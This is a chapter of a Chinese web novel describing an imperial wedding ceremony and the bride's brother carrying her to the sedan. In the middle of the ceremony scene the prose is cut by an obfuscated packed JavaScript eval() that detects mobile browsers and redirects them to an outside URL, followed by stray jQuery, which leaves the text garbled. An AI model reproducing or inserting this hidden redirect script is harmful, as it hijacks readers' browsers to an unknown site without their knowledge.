宽阔的朱雀大街被红绸装点,长长的一队人马自定安侯府而出,一路敲锣打鼓,唢呐声响彻天际。
谢衍知身姿挺拔,坐在马背上单手持缰绳,身披大红喜服,发间红色的发带被风吹得高高扬起,眉宇间的桀骜不曾散去,仰头去看那不远处高耸的宫墙。
花轿两侧的两排下人,个个喜笑颜开,往道路边的百姓手中塞着喜钱。跟在花骄后的聘礼一抬接一抬,一眼望不到头。
百姓们不少都惊得瞠目结舌,三两个凑在一起。
“欸,没想到这定安侯家府挺厚啊,瞧着架势,怕是要把整个府邸都搬空了吧。”
“你们真是没见过世面,这定安候是什么人啊,前两年刚平定了南疆之乱,陛下赏赐无数,这些啊,也不过九井一毛罢了。”
“这么大架势,不愧是娶了陛下最疼爱的韵华帝姬,这定安侯府往后三代,怕是要荣光无限了。”
这些声音淹没在人海中,谢衍知低头整理了一下衣襟,心中忽而升腾起紧张的情绪。
元澈原本还在兴高采烈地分发喜糖,转头一看,谢衍知呼吸沉重的坐在马上,面色凝重,不知道的还以为他是去上战场呢?
“世子,您紧张什么?”元澈明知故问。
谢衍知半是威胁的看他一眼,元澈立马识趣的把列开的嘴合上,故作正经,“也是,紧张也正常,毕竟历朝历代,也没有哪个驸马能在太极殿前成婚的吧?”
谢衍知抿了抿唇,至今为止,只有太子娶正妻,才能在太极殿前受百官朝拜。眼下自己将要相伴一生的妻子,也为自己带来了这份无上的荣光。
—————
这边,陆烟烟还在义愤填膺的为宋子慕感到不满,听到接踵而至的鼓声,立马止住话头。
“快快快,来了!”
二人手忙脚乱的将凤冠上的流苏给苏栀整理好,遮挡住两边淡粉色的脸颊。
“你们西北的钗冠真好看,这可比那什么红盖头漂亮多了。”严婉帮她理好裙摆,口中嘟囔,“待日后我成婚时,也要这样的钗冠。”
从清音殿到太极殿的路不远,侍女沿途跪于两侧,六名一品诰命夫人随行身侧,几名侍女手持提炉,身后的送亲队伍锣鼓喧天。
苏栀知道,宁皇把当初未能够给到母后的尊荣,都尽全力还到了自己身上。
苏栀脚踩在柔顺的红绸之上,强压下雀跃的心情,举着团扇的手臂有些僵硬。凤冠垂下的珠翠轻轻晃动,映照着她娇艳却又略带羞涩的面容。
太极殿前百官肃立,宁皇正襟危坐在龙椅上,听着愈发接近的锣鼓声。
宋妧不停的理着头发,哪怕是身为皇帝的胞妹,她也是第一次坐在这一人之下的位置。
谢衍知骑着一匹通体雪白的骏马,身着蟒袍,腰间束着一条玉带,身剑眉星目,两拨人马缓缓靠近。
透过团扇,苏栀模糊的看见了马背上不可一世的少年,唇角若有似无的勾着,神色中,莫名的透露出几分局促。
直到此时,她才知道,原来如他一般恣意潇洒之人,也会有如此慌乱的时候。
“啪嗒。”
苏栀一时不注意,一颗晶莹的泪珠顺着眼尾滑了下来。
原来流泪,如此简单。
在只有几米之隔时,手持提炉的侍女们整齐的让开一条路。
苏栀脚步停下,看着马背上的少年深吸一上气,翻身下马,郑重的走了几步,来到她的面前。
距离明明不近,可她却清晰的闻到了那股让人沁人心脾的冷杉香气。
隔着团扇静静的对视几秒后,谢衍知微微弯腰,虔诚的伸手。
苏栀未有丝毫犹豫,抬手搭上了他紧张的冰凉的掌心。
自此,他们要携手相伴一生。
感受到掌心的温度,谢衍知呼吸一滞。上扬的桃花眸向下看了一瞬,忽而弯下腰,轻轻在那只嫩滑的手背上落下一吻。
苏栀紧握团扇的手颤了颤,扇上的佩饰发出清脆的响声。她死死咬住唇,可还是没忍出泄出一声浅笑。
谢衍知的行为,让身边人都止不住的掩唇轻笑,注视着他们二人,无人注意到这被埋没在嘈杂声中的笑声。
唯有谢衍知,在那轻笑落地的瞬间,猛地抬头,对上她溢满泪水的眼眶。
苏栀眼尾上挑,不想让眼泪落下来。她猜测,或许几十年后再回望此生,她仍不会忘记这个这个眼神。
明明他什么话也没说,可是苏栀就是清晰的看出了他眼中闪过的亿万个我爱你。
——————
“新人到!”
礼官慷锵有力的一声过后,百官侧身。太极殿的宫道之上,身披红色喜服的二人挚手而来。
无数双眼睛停留在二人身上,苏栀的腿有些软了,略微低头,将手握的更紧。
谢衍知似乎看出了她的不安,指腹在她的手背上有意的滑动。
不近不远的一条路上,苏栀准确的猜出他写的字。
我在。
那一刻,苏栀确认,往后余生,他将会成为那个保护自己最牢固的堡垒。
待走到殿前,二人方才松开手,轻轻跪下,朝着上首上端坐着的长辈与君王俯首朝拜。
宁皇一向凝重的脸上露出欣慰的笑,目光看向手捧陆太傅。
陆太傅声音醇厚,仿若洪钟,让人不自觉的挺起腰板。
“奉天承运,皇帝诏曰:
乾坤合德,阴阳和畅。今有定安侯嫡子谢衍知,俊才卓荦,品貌端方,秉性纯良,怀经世之才,行君子之德;朝阳长公主之女韵华帝姬,柔嘉维则,端庄淑惠,德容兼备,娴于礼义,名动闺阁。
二人实乃天造地设之良缘,珠联璧合之佳偶。朕心甚慰,特赐良辰,自此合卺同牢,琴瑟和鸣,永结百年之好,共担家国之责。
望尔等夫妻恩爱,相敬如宾,福泽绵延。
布告天下,咸使闻之。
钦此!”
百官跪拜,“吾皇万岁万岁万万岁。”
吉时已到,鼓声轰鸣,苏栀起身时,与谢衍知携手迈上台阶。
皇室与宗室众人坐在两侧,礼官袍角绣着象征吉祥的云纹,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355789|161373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头戴一顶精致的乌纱帽,声音瞬间穿透喧嚣,高喊,“一拜天地!”
苏栀小心翼翼的随着谢衍知的动作一同转身,身姿端正,面向天地,深深弯腰。
稍作停顿,礼官再次开口,“二拜高堂!”
宋妧与定安侯对视一眼,眼中满是慈爱。
二人缓缓转身,仪态端庄,弯腰拜礼。
“夫妻对拜!”礼官的声音再度响起。
苏栀捏着团扇的手出了汗,动作僵硬的侧过身子,连呼吸都不自觉的屏住,不敢去看此刻的谢衍知,正要弯腰时,一只有力的手包裹住她的微颤的柔荑。
苏栀愣了一下,越过团扇抬头一瞧,眼前的流苏晃动几下,看到谢衍知轻轻摇摇头,帮她把团扇抬起,随后弯腰拜下去。
一整套动作行云流水,仿佛在他心中排练过无数次。
苏栀还没回过神来,谢衍知便已经起了身,手指顺着她的手腕下滑,捏捏她的手,说话速度很慢,“帝姬,不必拜臣。”
—————
礼成后,谢衍知搀扶着苏栀走出太极殿外门。
“累吗?”谢衍知帮她提着裙摆,轻声问。
华贵繁琐的头饰压的苏栀脖颈有些酸痛,但大喜的日子,她还是笑着摇摇头。
迈出门抬头间,苏栀脚步顿了一下,雕刻着栩栩如生的凤凰和腾云驾雾的龙的花轿边,站着一个戴着面具的男人。
谢衍知看清那人是谁,搀扶着苏栀的手松了松。
阮鹤轩双手背后,唇角勾着一抹不屑的笑,走近几步。
苏栀知道,他会出现在这,定然是已经有了宁皇的准许。
说是一母同胞的哥哥,其实也没什么难以割舍的情感,两年前他不辞而别,苏栀还以为此生都不会再见了。
“你来做什么?”苏栀的声音轻而细,如一片羽毛轻抚过心头。
阮鹤轩盯着那双藏在团扇后的眼睛看了一会儿,舌尖抵着上颚,眉宇间的凄凉消退后,才悠悠道,“中原的习俗,女子出嫁,应当由兄长背上花轿,你说我为何在此?”
苏栀稍怔,看向谢衍知。
谢衍知没有说话,手在苏栀身后的青丝上摩挲几下,松开了她的手。
阮鹤轩转身半蹲下,感受着那具柔软的娇躯覆在自已背上,双手穿过她的腿弯,咬了下嘴唇,直起身子,血腥味在口中蔓延开。
苏栀攥着衣袖,被他三两步慢慢背上花轿。
阮鹤轩轻手轻脚的放下她,回头眼尖的发现嫁衣上苏栀没舍得剪去的线头,轻“啧”了一声,挑剔道,“手艺真差。”
谢衍知本打算侧身上马,听到这句话,脸瞬间一黑。
苏栀扯了扯唇角,“多谢。”
“谢什么?”阮鹤轩,抬手帮她理了理垂在耳边的吊坠,“令牌拿好了,若是有一日他欺负了你,你便来找我,哥哥替你作主。”
一句调侃似的哥哥,便让苏栀的大脑嗡嗡作响。
她张了张嘴,想说些什么,却看到眼前光线一暗,花轿的帘子被人放下,她只来的及多看他一眼。